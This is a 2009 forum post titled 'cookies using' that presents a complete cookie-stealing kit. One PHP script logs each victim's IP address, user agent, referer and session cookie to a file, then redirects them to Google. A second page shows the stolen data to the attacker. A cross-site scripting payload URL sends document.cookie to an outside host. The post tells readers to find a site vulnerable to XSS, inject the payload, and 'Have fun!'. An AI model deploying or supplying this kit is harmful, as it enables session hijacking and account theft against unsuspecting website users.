PDA

View Full Version : cookies using


sajithgayashan.
04-22-2009, 03:52 PM
vb.php


Code:
<head>
<meta http-equiv="Content-Language" content="it">
<title>Cookies Stealther - Designed and programmed by R00t[ATI]</title>
</head>

<body bgcolor="#C0C0C0">

<p align="center"><font color="#FF0000">COOKIES STEALTHER</font></p>
<p align="center"><font face="Arial" color="#FF0000">By R00T[ATI]</font></p>
<p align="left">&nbsp;</p>

</body>
documents.php
Code:
<?php

$ip = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];

$data = $_GET[c];

$time = date("Y-m-d G:i:s A");
$text = "<br><br>".$time." = ".$ip."<br><br>User Agent: ".$agent."<br>Referer: ".$referer."<br>Session: ".$data."<br><br><br>";

$file = fopen('vb.php' , 'a');
fwrite($file,$text);
fclose($file);
header("Location: http://www.google.com");

?>
Vb.php file is used to SHOW at the attacker what cookies are grabbed and other information.
Documents.php file is used to GRAB information at the victim like: ip address, user agent and naturally cookies.
Find a vulnerable site to Cross Site Scripting. After that insert a script that call documents.php that grabs document cookie by using "c" method: documents.php?c="+document.cookie;
Example

Code:
http://vulnerable-site.com/vulnerable_page.php?vulnerable_method=<script>document.location="http://syshack.sy.funpic.de/documents.php?c="+document.cookie;</script>

The victim will then be redirected to Code:
http://www.google.com
which can be edited it in documents.php. And the attacker can be see victim cookies on vb.php

Have fun!

update:www.sajithgayashan.com (http://sajithgayashan.webs.com)
http://3.bp.blogspot.com/_Eb3jzpDxK2k/SWsKye94kgI/AAAAAAAAAAM/BxlsJB5iDzI/S220/sajith+2.jpg